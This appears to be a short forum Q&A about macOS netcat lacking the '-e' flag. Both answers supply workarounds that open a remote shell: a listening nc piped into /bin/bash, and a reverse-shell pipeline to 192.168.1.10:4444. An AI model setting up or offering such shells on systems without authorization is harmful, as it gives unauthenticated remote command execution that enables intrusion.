Is nc (netcat) on MacOS missing the "-e" flag?

Question

When I try to run nc -l 1337 -e /bin/bash, it says:

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

I want to run commands remotely, but instead it just remotely prints text. Why is this not working and how can I fix it?

Answer 1

You don't have to use nc -l 1337 -e /bin/bash. Instead, an alternative that works exactly the same is nc -l 1337 | /bin/bash outputs everything it receives into /bin/bash.

Answer 2

Or try nc target port | /bin/bash | nc target port

Example:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

It will redirect what it receives from the first nc to /bin/bash and the output from /bin/bash to the second nc. It's a work-around, but it works. :)
Otherwise just install ncat.